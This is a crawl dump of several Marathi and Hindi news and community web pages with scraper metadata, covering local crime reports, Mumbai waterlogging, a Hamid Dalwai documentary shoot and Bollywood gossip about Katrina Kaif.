सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Marathwada › नांदेडमध्ये पत्‍नीनेच केला पतीचा खून\nनांदेडमध्ये पत्‍नीनेच केला पतीचा खून\nनांदेड : पुढारी ऑनलाईन\nशहरातील नागसेननगर भागात पत्नीनेच पतीचा खून केल्याची खळबळजनक घटना घडली. आज दुपारी १ वाजण्याच्या सुमारास ही बाब उघडकीस आली. शाम नारायण सरपे असे मृताचे नाव असून पोलिस घटनास्थळी दाखल झाले आहेत.\nयाबाबत मिळालेल्या माहितीनुसार, शिवाजीनगर पोलिस ठाण्याच्या हद्दीत असलेल्या नागसेननगर परिसरात शाम उर्फ शिवाजी नारायण सरपे हे पत्नी पूनम सोबत राहत होते. आज दुपारी सरपे पती-पत्नीत काही कारणांवरून वाद झाला. यावेळी शाम आणि पूनम यांच्यात झटापट झाली. यात शाम याच्या छातीत चाकूचा मार लागून त्याचा जागीच मृत्यू झाला. याबाबत माहिती मिळताच शिवाजीनगर पोलिसांनी घटनास्थळी धाव घेतली. पोलिसांनी पूनमला ताब्यात घेतले असून जबाब नोंदविण्याचे काम सुरू आहे.\nमी वाचविण्याचा प्रयत्न केला : पूनम\nआमच्यात वाद झाल्यानंतर शाम स्वतःस चाकू मारून घेत होते, तेव्हा आपण त्यांना वाचविण्यासाठी चाकू पकडला, असे पूनमने पोलिसांना सांगितले. दरम्यान, पूनम दोन महिन्याची गर्भवती असल्याची माहिती त्यांच्या नातेवाईकांनी दिली आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00431.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Mumbai-Thane-Raigad/Mumbai-Water-issue/", "date_download": "2018-09-25T17:54:34Z", "digest": "sha1:UL2ANF5GVGCLM5TC4CN3JL3ZZSPOJ45G", "length": 7014, "nlines": 36, "source_domain": "www.pudhari.news", "title": " मुंबईत पाणी तुंबणारच! | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Mumbai-Thane-Raigad › मुंबईत पाणी तुंबणारच\nमुंबई : राजेश सावंत\nमुंबईत सुरू असलेल्या मेट्रो रेल्वेच्या कामांसह अपुर्‍या नालेसफाईमुळे शहरात ठिकठिकाणी पाणी तुंबण्याची भीती पालिकेतील सत्ताधारी शिवसेनेसह विरोधकांनी व्यक्त केली आहे. तर दुसरीकडे पावसाळ्याचा सामना करण्यासाठी आपत्कालीन यंत्रणा सज्ज ठेवल्याचा दावा करून, यंदा मुंबईत मोठ्याप्रमाणात पाणी तुंबण्याचे स्पष्ट संकेत मुंबई महापालिका प्रशासनाकडून मिळाले आहेत.\nपावसाळा जवळ आला की पालिका प्रशासनाची झोपच उडून जाते. दरवर्षी हिंदमातासह सरदार हॉटेल, परळ, एल्फिन्स्टन पूल, गांधी मार्केट, अंधेरी विरा देसाई रोड, मीलन, अंधेरी व मालाड सबवे आदींसह सुमारे 200 पेक्षा जास्त ठिकाणी पाणी तुंबते. यात यंदा वाढ होण्याची भीती व्यक्त करण्यात येत आहे. मुंबईत ठिकठिकाणी सुरू असलेल्या मेट्रो रेल्वेच्या कामामुळे पाणी तुंबण्याच्या ठिकाणात वाढ होण्याची भीती पालिकेतील सत्ताधारी शिवसेनेने व्यक्त केली आहे. महापौर विश्वनाथ महाडेश्वर यांनी तर, पाणी तुंबले तर त्याला राज्य सरकार जबाबदार असल्याचा आरोप केला आहे. भाजपानेही अपुर्‍या नालेसफाईमुळे पाणी तुंबण्याची भीती व्यक्त केली आहे. तर काँग्रेसने मेट्रो रेल्वे व अपुर्‍या नालेसफाईमुळे मुंबई तुंबणार असल्याचा आरोप केला आहे. पाणी तुंबण्याची शक्यता लक्षात घेऊन, पालिका प्रशासनानेही आपली आपत्कालीन यंत्रणा सज्ज ठेवली आहे. विशेष म्हणजे 225 ठिकाणी पाणी तुंबण्याची शक्यता असल्यामुळे या भागात सुमारे 298 पाणीउपसा पंप बसवण्यात आले आहेत. त्यामुळे मुंबईत पाणी तुंबणार यावर शिक्कामोर्तब झाले आहे. पण मुंबईत पाणी तुंबले तरी त्याचा त्वरित निचरा होण्यासाठी पालिकेची यंत्रणा सज्ज असल्याचा दावा, प्रशासनाने केला आहे.\nतुंबणार्‍या पाण्याच्या ठिकाणांचा अभ्यास करून पालिकेने 298 पंप बसवले आहेत. यात कुर्ला एल विभागात सर्वाधिक 26 पंप असून माटुंगा एफ-उत्तर विभाग हद्दीत 23 पंप बसवण्यात आले आहेत. सांताक्रूझ एच-पश्‍चिम विभागात 18, घाटकोपर (एन विभाग) व मानखुर्द (एम-पश्‍चिम विभाग) प्रत्येकी 14 पंप बसवण्यात आले आहेत. त्याशिवाय ब्रिटानिया, हाजी अली, लव्ह ग्रोव्ह, इर्ला व गझदर बंद (खार) येथे पंपिंग स्टेशन कार्यान्वित करण्यात आली आहेत.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00431.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Nashik/Birthday-boy-arrested-because-of-cake-cutting-by-sword/", "date_download": "2018-09-25T17:28:46Z", "digest": "sha1:QRR37RGBO5KZLFL6LQKESG5MCLFZIAJM", "length": 5622, "nlines": 50, "source_domain": "www.pudhari.news", "title": " बर्थ डे बॉयची वाढदिवसाची रात्र पोलीस कोठडीत! | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Nashik › बर्थ डे बॉयची वाढदिवसाची रात्र पोलीस कोठडीत\nबर्थ डे बॉयची वाढदिवसाची रात्र पोलीस कोठडीत\nभर रस्त्यात धारदार हत्याराने केक कापल्याप्रकरणी पंचवटीतील एका ‘बर्थडे बॉय’ला वाढदिवशी थेट तुरुंगाची हवा खावी लागली. पंचवटी पोलिसांनी या युवकाकडून हत्यार जप्त केले असून, गुन्हा दाखल केला आहे. सुभाष खंडू सांगळे (21) असे या युवकाचे नाव असून, पेठरोडवरील दत्तनगर येथील हा रहिवासी आहे.\nसुभाषच्या वाढदिवसासाठी काही उत्साही तरुणांनी केक कापण्याचे नियोजन केले. मात्र, केक कापण्यासाठी धारदार शस्त्र वापरले. याबाबतची माहिती काही जागरूक रहिवाशांनी पंचवटीचे वरिष्ठ निरीक्षक दिनेश बर्डेकर यांना कळविली. यानंतर काही वेळातच गुन्हे शोध पथकाने घटनास्थळावरून बर्थडे बॉयला ताब्यात घेत त्याच्यावर गुन्हा दाखल केला. या प्रकरणी एका लोकप्रतिनिधीने हस्तक्षेप करण्याचा प्रयत्न केला. मात्र, बर्डेकर यांनी केक कापला म्हणून नाही, तर केक हत्याराने कापला म्हणून कारवाई केल्याचे सांगताच या लोकप्रतिनिधीने पोलीस ठाण्यातून काढता पाय घेतला.\nकाही युवकांकडून भर रस्त्यात वाढदिवस साजरा केला जातो. दुचाकी-चारचाकीवर ठेवलेला केक कापण्यासाठी चक्क धारदार हत्याराचा वापर केला जात असल्याचे प्रकार समोर येत आहेत.\nबर्थ डे बॉयची वाढदिवसाची रात्र पोलीस कोठडीत\nस्त्रियांचे शोषण हा जटिल प्रश्‍न\nनाशिकमधील 60 हजार मालमत्तांवर वाढीव कर\nजिल्ह्यात तब्बल सात लाख व्यसनाधीन\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00431.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://dk5wv51hv3hj1.cloudfront.net/new4me_all", "date_download": "2018-09-25T16:52:40Z", "digest": "sha1:PGPISSA2V5R6XWG4PSE7TU3VS7VZN7C7", "length": 7732, "nlines": 159, "source_domain": "dk5wv51hv3hj1.cloudfront.net", "title": "संपूर्ण मायबोलीवरचं नवीन लेखन | Maayboli", "raw_content": "\nमायबोलीचे मोबाईल अ‍ॅप (अँड्रोईड + आयओएस) सर्वांसाठी उपलब्ध आहे.\nYou are here: मुख्यपृष्ठ /नवीन लेखन /\nसंपूर्ण मायबोलीवरचं नवीन लेखन\nमायबोली गणेशोत्सव २०१८ - श्री गणेश प्रतिष्ठापना मायबोली गणेशोत्सव २०१८\nव्यक्तिचित्रण मतदान मायबोली गणेशोत्सव २०१८\nव्यक्तिचित्रणः कॅटफिश - स्वाती_आंबोळे मायबोली गणेशोत्सव २०१८\nभेटी लागी जीवा-सोनी मराठी उपग्रह वाहिनी - मराठी\nतुला पाहते रे.... झी मराठी.. ८.३० वाजता उपग्रह वाहिनी - मराठी\nचित्रपटाचा ट्रेलर कसा वाटला\nमाह्या भैताड नवर्‍याची दुसरी (कि तिसरी ) बायको- ३ उपग्रह वाहिनी - मराठी\nरंगपेटी उपक्रम - तन्वी शिंदे - १०वर्षे मायबोली गणेशोत्सव २०१८\nसुंठीची कढी गुलमोहर - ललितलेखन\nमायबोली गणेशोत्सव २०१८ - \"आमच्या घरचा बाप्पा\" मायबोली गणेशोत्सव २०१८\nव्यक्तिचित्रण - \"संदीप प्रभाकर जोशी\" मायबोली गणेशोत्सव २०१८\nव्यक्तिचित्रण स्पर्धा - हायझेनबर्ग - 'बोहेमियन राप्सडी' मायबोली गणेशोत्सव २०१८\nजेडन के स्मिथ (टुकिक) गुलमोहर - कथा/कादंबरी\nचोरीच्या कथा लेखकावर कारवाई न होनेबाबत आपली मायबोली\nक्रिकेट - ५ खेळाच्या मैदानात - क्रिकेट\nमन मंदिरा गुलमोहर - ललितलेखन\nअशी ही बनवाबनवी गुलमोहर - ललितलेखन\nसुरुवात नव्या बदलाची मायबोली गणेशोत्सव २०१८\nयेल्लो येल्लो डर्टी फेल्लो गुलमोहर - विनोदी लेखन\nआरण्यक - हिरवाई (भाग – ०२ अ) गुलमोहर - प्रकाशचित्रण\nपूर्वीची मी ..... आताची मी गुलमोहर - कविता\nचित्रपट कसा वाटला - ३ चित्रपट\nमाझ्या नकळत गुलमोहर - कविता\nमराठी चित्रपट: काही भावलेले, काही न झेपलेले (संवाद/दृश्ये/गाणी इत्यादी) चित्रपट\nनवीन खाते उघडून मायबोलीकर व्हा\nनवीन परवलीचा शब्द मागवा\nAMAZON कंपनीत SUPERVISOR, वरासाठी वधू पाहिजे\nस्थापना : गणेश चतुर्थी, सप्टेंबर १६, १९९६. प्रताधिकार १९९६-२०१८ मायबोली. सर्व हक्क स्वाधीन. वापराचे/वावराचे नियम\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00431.warc.wet.gz", "language": "mr", "language_score": 0.8, "bucket": "all"} {"url": "https://weltnews.eu/hi/tag/big-data/", "date_download": "2018-09-25T17:22:34Z", "digest": "sha1:Q2OT2TPCFZZYK5MXPZWXBS2JY2BSBUKN", "length": 7124, "nlines": 90, "source_domain": "weltnews.eu", "title": "बड़ा डाटा – Weltnews.eu", "raw_content": "\nजर्मनी से समाचार, यूरोप और दुनिया\nमार्च 6, 2018 प्रधानमंत्री रचनाकारों 0\nFebruary 7, 2018 प्रधानमंत्री रचनाकारों 0\nJanuary 29, 2018 प्रधानमंत्री रचनाकारों 0\nJanuary 16, 2018 प्रधानमंत्री रचनाकारों 0\nJanuary 15, 2018 प्रधानमंत्री रचनाकारों 0\nJanuary 12, 2018 प्रधानमंत्री रचनाकारों 0\nDecember 20, 2017 प्रधानमंत्री रचनाकारों 0\nनवंबर 16, 2017 प्रधानमंत्री रचनाकारों 0\nनवंबर 2, 2017 प्रधानमंत्री रचनाकारों 0\nनवंबर 2, 2017 प्रधानमंत्री रचनाकारों 0\nडिफ़ॉल्ट भाषा के रूप में सेट करें\nऑटो समाचार & यातायात समाचार\nनिर्माण, निवास, Haus, उद्यान, ध्यान\nकंप्यूटर और दूरसंचार सूचना\nई-बिजनेस, इलेक्ट्रॉनिक कॉमर्स und इंटरनेट समाचार\nइलेक्ट्रानिक्स, इलेक्ट्रिक और उपभोक्ता इलेक्ट्रॉनिक्स\nपरिवार और बच्चों, बच्चों जानकारी, परिवार & सह\nवित्तीय समाचार और व्यापार समाचार\nकंपनी, राजनीति और कानून\nव्यवसाय, शिक्षा और प्रशिक्षण\nकला और संस्कृति ऑनलाइन\nचिकित्सा और स्वास्थ्य, चिकित्सा विशेषज्ञों और कल्याण\nन्यू मीडिया और संचार\nनई प्रवृत्तियां ऑनलाइन, फैशन के प्रति रुझान और जीवन शैली\nजानकारी और पर्यटक सूचना यात्रा\nखेल समाचार, खेल आयोजन\nसंरक्षण, स्थिरता और ऊर्जा\nसाहसिक कार्य शेयरों श्रम बर्लिन बैलेंस शीट कमोडिटी टीवी अनुपालन को नियंत्रित करना डाटा सुरक्षा डिजिटलीकरण कीमती धातुओं वित्त नेतृत्व प्रबंधन तकनीकों काले धन को वैध प्रबंध स्वास्थ्य सोना हैम्बर्ग हॉगकॉग हांगकांग व्यापार विकास परिषद (HKTDC) होटल Humor अचल संपत्ति यह कनाडा संचार तांबा प्यार तरलता रसद प्रबंध मेक्सिको नेवादा Ortung रेटिंग ROHSTOFF टीवी कच्चे माल चांदी Swiss Resource Telematik व्यवसाय बिक्री अर्थव्यवस्था ज़िंक\nकॉपीराइट © 2018 | द्वारा वर्डप्रेस थीम एमएच विषय-वस्तु", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00431.warc.wet.gz", "language": "mr", "language_score": 0.69, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/530288", "date_download": "2018-09-25T17:17:04Z", "digest": "sha1:QPRWXUSHQT7C4CBJUNSTVFFODHTHMYRT", "length": 10681, "nlines": 49, "source_domain": "www.tarunbharat.com", "title": "म.गांधींनंतर हमिद दलवाईंचे विचार विचार करायला लावणारे - तरुण भारत | तरुण भारत", "raw_content": "\nYou are here: Home » आवृत्ती » रत्नागिरी » म.गांधींनंतर हमिद दलवाईंचे विचार विचार करायला लावणारे\nम.गांधींनंतर हमिद दलवाईंचे विचार विचार करायला लावणारे\nमिरजोळी ः हमिद दलवाई माहितीपटाच्या चित्रिकरणातील एक क्षण.\nहमिद दलवाई माहितीपटाच्या दिग्दर्शिका ज्योती सुभाष यांचे मत\nसमाजापर्यंत विचार पोहोचवण्यासाठीच माहितीपट,\nनसरूद्दीन शहा, अमृता सुभाष यांच्या उपस्थितीत चित्रिकरणास मिरजोळीत प्रारंभ\nमहात्मा गांधींनंतर ज्येष्ठ साहित्यिक हमिद दलवाई यांचे विचार विचार करायला लावणारे असल्याने त्यांचे हे विचार तळागाळापर्यंत पोहोचवण्यासाठी आपण त्यांच्या जीवनावरील माहितीपट तयार करीत असल्याचे मत या माहितीपटाच्या दिग्दर्शिका व ज्येष्ठ अभिनेत्या ज्योती सुभाष यांनी शुक्रवारी पत्रकारांशी बोलताना व्यक्त केले.\nहमिद दलवाई यांच्या जीवनावरील माहितीपटासाठी त्यांच्या जन्मगावी मिरजोळी येथे शुक्रवारपासून ज्येष्ठ अभिनेते नसरूद्दीन शहा, अभिनेत्या अमृता सुभाष यांच्या उपस्थितीत चित्रिकरणास प्रारंभ झाला आहे. हमिद दलवाई यांचे साहित्य प्रभावी असल्याने आजही मोठमोठय़ा कार्यक्रमांमध्ये त्यांचे नाव अग्रक्रमाने घेतले जाते. त्यांच्या मृत्यूनंतर त्यांचे कार्य पुढे सुरू रहावे, म्हणून त्यांच्या पत्नी मैरूनिसा दलवाई यांनी हमिद दलवाई फाऊंडेशनची स्थापना केली आहे. या फाऊंडेशनच्या माध्यमातून ठिकठिकाणी विविध कार्यक्रम राबवले जातात. यातूनच काही वर्षांपूर्वी मिरजोळी येथे हमिद दलवाई स्मृती भवन साकारण्यात आले आहे. या भवनातही अनेक कार्यक्रम आयोजित केले जातात. चार महिन्यांपूर्वीच त्यांच्या पत्नी मैरूनिसा दलवाई यांचे निधन झाले आहे.\nदलवाई यांचे कार्य अखंड ठेवण्यासाठी दलवाई कुटुंब नेहमीच पुढाकार घेते. यातूनच हा माहितीपट तयार केला जात आहे. नसरूद्दीन शहा स्वतः दलवाई यांची भूमिका साकारणार असून त्यांना अमृता सुभाष व ज्योती सुभाष साथ देत आहेत. शुक्रवारी खासदार हुसेन दलवाई यांच्या उपस्थितीत या चित्रिकरणास प्रारंभ झाला आहे. सकाळी 7 वाजल्यापासून दलवाई यांच्या निवासस्थानाबरोबरच स्मृतिभवन येथे, तर सायंकाळी कालुस्ते येथे चित्रिकरण झाले. शनिवारीही अनेक ठिकाणी चित्रिकरण होणार आहे.\nया तीन अभिनेत्यांचा खासदार हुसेन दलवाई, दलवाई जमातीचे चेअरमन जियाउद्दीन दलवाई, अर्बन बँकेचे संचालक रहिमान दलवाई यांच्याहस्ते सत्कार करण्यात आला. यावेळी अंनिसचे हमिद दाभोळकर, मिरजोळीच्या सरपंच कनिज दलवाई, ज्येष्ठ सदस्य अहमद दलवाई, माजी तंटामुक्त अध्यक्ष खालीद दलवाई, माजी उपसरपंच कमलाकर आंब्रे, खलील दलवाई, हमिद दलवाईंच्या ज्येष्ठ कन्या रूबिना दलवाई, बशीर दलवाई, अजमल दलवाई, कबीर दलवाई, अन्वर दलवाई आदी उपस्थित होते.\nया दरम्यान पत्रकारांशी बोलताना ज्योती सुभाष म्हणाल्या की, हमिद दलवाईंंचे सामाजिक कार्य, लिखाण स्फूर्तीदायक आहे. धर्माच्या संबंधातील त्यांचे विचार भावनेच्या पलिकडेचे आहेत. आपण राष्ट्रसेवा दलाच्या कार्यकर्त्या असून दलवाई यांनी आपल्या सातारा-रेहमतपूर गावाला भेट दिली होती. त्यामुळे त्यांच्याबाबत आपल्याला बरीच माहिती आहे. त्यामुळे त्यांचे विचार तळागाळापर्यंत पोहोचवण्यासाठी आपण हा माहितीपट काढत आहोत. खासदार हुसेन दलवाई, अहमद दलवाई यांनी त्यांच्या अनेक आठवणी आपल्याला सांगितल्या असून त्याचाही या माहितीपटात समावेश करून घेतला जाणार असल्याचे ज्योती सुभाष यांनी सांगितले.\nहा माहितीपट पूर्ण झाल्यानंतर त्याचे पहिले प्रसारण मिरजोळीतच होण्याची शक्यता आहे. हा कार्यक्रम भव्य-दिव्य स्वरूपात केला जाणार असल्याचे सांगण्यात येत आहे.\nगोपाळगड राज्य संरक्षित स्मारकासाठी ग्रामसभेत ठराव करा\nवांद्री येथे आयशर टेम्पो-कार अपघात\nतलाठय़ांच्या दुर्लक्षामुळे घरठाण अभिलेख नोंदणी गेली टळून\nनियतीचा दुर्दैवाचा फेरा, शासन दरबारीही नाही थारा\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00432.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://maharashtratimes.indiatimes.com/topics/katrina-kaif", "date_download": "2018-09-25T18:11:22Z", "digest": "sha1:YSY24F426ZMSRETC6COAYU7YOPFWDA5P", "length": 23294, "nlines": 288, "source_domain": "maharashtratimes.indiatimes.com", "title": "katrina kaif Marathi News, katrina kaif Photos and Videos - Maharashtra Times", "raw_content": "\nग्रामीण मुलींना १२वी पर्यंत STचा मोफत प्रवास\nचित्रनगरीतील जमीन सुभाष घईंच्या संस्थेला\nप्राध्यापकांचा संप; महाविद्यालयांमध्ये शुक...\nचंद्रात दिसले साईबाबा; मुंबईत अफवांचा बाज...\nGanpati Visarjan: मुंबईत निच्चांकी ध्वनी प...\n‘कर्जफेडीचे प्रयत्न ‘ईडी’ने उधळवले’\n'मुंबई स्फोटादरम्यान राजकारणाचे गुन्हेगारीकरण सर्व...\n...यासाठी आदिवासी मुली बनतायत माओवादी\nमी स्वप्नात भगवान श्रीरामांना रडताना पाहिल...\nकाँग्रेसचा भारताबाहेर आघाडीचा शोधः मोदी\n'शेतकऱ्यांच्या समस्या सोडवा; तरच बुलेट ट्र...\n'ब्लड टेस्ट'मधून कळणार झोप झाली की नाही\nभारतावर प्रेम; मोदी माझे मित्र: ट्रम्प\nअभिलाश टॉमी यांची सुटका\nमुकेश अंबानी रोज कमावतात ३०० कोटी रुपये\nPetrol Price: पेट्रोल, डिझेल आणखी महागणार\nईडीने मला कर्ज फेडू दिले नाही: मल्ल्याचा आ...\nअजित मोहन यांच्यावर फेसबुक इंडियाची धुरा\nगुंतवणूकदारांचे नुकसान साडेआठ लाख कोटींचे\n२३ महिन्यांनंतर धोनी पुन्हा कर्णधार\nधोनीकडूनच गिरवले कर्णधारपदाचे धडे\nफिक्सिंग: वर्षभरात ५ कर्णधारांशी बुकींचा स...\nShikhar Dawan: 'मोठी धावसंख्या करणं रोहितक...\nSunil Gavaskar: रोहितमध्ये क्लाइव्ह लॉइड द...\nAsia Cup आज आजमावणार मधल्या फळीला\nमी सीईओ आणि आई दोन्ही बनू शकतेः प्रियांका\n'मंटो'च्या प्रदर्शनात तांत्रिक विघ्न\nआलिया, मानधन वाढव; वरुणचा सल्ला\n'देसी गर्ल' प्रियांका चोप्राला दम्याचा आजा...\nचीनची लोकप्रिय अभिनेत्री फॅन बिंगबिंग बेपत...\n'लवरात्रि': सलमान खानविरोधात होणार तक्रार ...\nसोशल मीडिया: फायद्याची गोष्ट\nगेम डिझायनिंमध्ये करियर करायचंय\nकौशल्य विकासावर द्या भर\nसोशल मीडियाच्या परिघाबाहेर पडा\nअंतर्गत तक्रार निवारण समिती\nएलिपथयम् : नियतीचा सापळा\nअंतर्गत तक्रार निवारण समिती\nएलिपथयम् : नियतीचा सापळा\nकोहली, मीराबाई खेलरत्न पुरस्कारान..\nमुस्लिम मुलासोबत प्रेमसंबंध; पोलि..\nपती दिसायला सावळा, पत्नीने किस कर..\nमेणबत्तीच्या प्रकाशात रुग्णांना त..\nतामिळनाडूतील हा अवलिया काय करतोय ..\n'काश्मीरमधील हिंसाचार थांबायला पा..\nचाहत्यांनी गर्लफ्रेंडला घेरल्याने सलमान गोंधळला\nअभिनेते आणि कलाकारांसाठी चाहते वेडे असतात. पण चाहत्यांच्या वेडामुळे कलाकारांना अनेकदा अडचणीचा सामना करावा लागतो. असाच अनुभव बॉलिवूडचा 'दबंग' सलमान खान याला आला. चाहत्यांनी त्याच्यासह 'गर्लफ्रेंड'लाही गराडा घातल्याने तो गोंधळून गेला.\nअभिनेता शाहीद कपूरची अकाउंट हॅक\nअभिनेता शाहीद कपूर आज (६ सप्टेंबर) बाबा झाल्याचा आनंद साजरा करत असताना त्याचे ट्विटर अकाउंट हॅक झाल्याचे उघड झाले आहे. तुर्कस्तानातील एका हॅकर ग्रुपने शाहीदची दोन्ही सोशल अकाउंट हॅक केली. त्यानंतर त्यांनी काही फोटो पोस्ट केले. यात कतरिना कैफच्या फोटोचाही समावेश असल्याचं बोललं जात आहे. कतरिनाचा फोटो शेअर करत हॅकर ग्रुपनं, 'आय लव्ह यू कतरिना कैफ', असं लिहिलं आहे.\n...म्हणून अर्पितानं डिलीट केला कॅटचा 'तो' फोटो\nकाही दिवसांपूर्वी सलमान खानची बहीण अर्पिताने कतरिना कैफ आणि सलमानची आई सलमा खान यांचा एकत्र एक फोटो इन्स्टाग्रामवर पोस्ट केला होता, पण नंतर काही वेळातच तो डिलीट केला. त्यामुळं सलमान आणि कतरिनाचे फॅन नाराज झाले. ही नाराजी दूर करण्यासाठी अर्पिताचा पती आयुष पुढं सरसावला असून त्यानं फोटो डिलीट करण्यामागचं कारण सांगितलं आहे.\nशाहरुखनं कतरिनाला दिलं 'हे' बर्थ डे गिफ्ट\nबॉलिवूड अभिनेत्री कतरिना कैफ हिच्या वाढदिवसानिमित्त अभिनेता शाहरुख खाननं तिला अनोखं गिफ्ट दिलं आहे. 'कॅट'च्या वाढदिवसाचा मुहूर्त साधून आगामी 'झिरो' सिनेमातील कतरिनाचा पहिला लूक शाहरुखनं प्रेक्षकांसमोर आणला आहे. त्याच्या या हटके गिफ्टची 'बी टाउन'मध्ये चर्चा आहे.\n...आणि कतरिना तुरकोट्टेची कतरिना कैफ झाली\nसिद्धार्थ आणि कतरिनाची अॅव्हेंजर्ससाठी तयारी\nकटरिना का आहे नाराज\nसलमानच्या सुटकेसाठी कतरिना सिद्धीविनायकचरणी\nकाळवीट शिकार प्रकरणी अभिनेता सलमान खानला तुरुंगाची हवा खावी लागणार की नाही याचा फैसला आज होणार आहे. नेमका हाच दिवस सुरु होता होता, म्हणजे रात्री १२ वाजता सलमानची मैत्रीण कतरिना कैफ सिद्धीविनायक मंदिरात पोहोचली. तिच्यासोबत सलमानची बहीण अर्पिताही होती. त्यामुळे सलमानच्या सुटकेचं साकडं घालण्यासाठीच या दोघी बाप्पाकडे आल्या असल्याचं बोललं जात आहे.\nदबंग-३ साठी प्रभूदेवानं 'यांना' केली विचारणा\n'या' हिरोमुळं आलिया-कतरिनाची मैत्री तुटली\nबॉलिवूडची अभिनेत्री आलिया भट आणि कतरिना कैफ यांच्या घट्ट मैत्रीची चर्चा तर इंडस्ट्री आणि माध्यमांमध्ये कायमच असते. पण आता या मैत्रीत फूट पडली असून, त्याला रणबीर कपूर कारणीभूत असल्याचं सांगण्यात येत आहे.\nसलमान-कॅटने प्यायली एकाच कपातून कॉफी\nबॉलिवूडचा 'दबंग' सलमान खान आणि अभिनेत्री कतरिना कैफ यांनी पुण्यातील एका कार्यक्रमात एकाच कपातून कॉफी प्यायल्याचा व्हिडिओ समोर आला आहे. हा व्हिडिओ सध्या सोशल मीडियावर चांगलाच व्हायरल झाला आहे.\nवरुण धवन आणि कैतरिना एकाच चित्रपटात\nवयाच्या ७६ व्या वर्षी अमिताभला हवीय नोकरी\nतमाम हिंदी सिनेमांमध्ये भूमिका करून सिनेजगतावर अधिराज्य गाजवलेले अभिनेते अमिताभ बच्चन यांनी आता वयाच्या ७६ व्या वर्षी टि्वटरवर चक्क नोकरीसाठी आपला बायोडेटा पोस्ट केला आहे...हे वाचून तुम्हाला आश्चर्य वाटेल, पण असं खरंच झालंय. मात्र ही नोकरी अशीतशी नाही बरं का, दीपिका पडुकोण आणि कतरिना कैफ यांच्या नायकासाठी अमिताभने हे जॉब अॅप्लिकेशन लिहिलंय..\n'राजनीती २'साठी कतरिना कैफ, रणबीर कपूर येणार एकत्र\nप्रिया प्रकाश देतेय कतरिना कैफला टक्कर\nफेसबुक, ट्विटर, व्हॉट्सअॅप, इन्स्टाग्राम कुठलीही सोशल मीडिया साइट उघडली की सध्या एकच फोटो आणि एकच नाव दिसतंय ते म्हणजे प्रिया प्रकाश वारियरचं. कलिजा 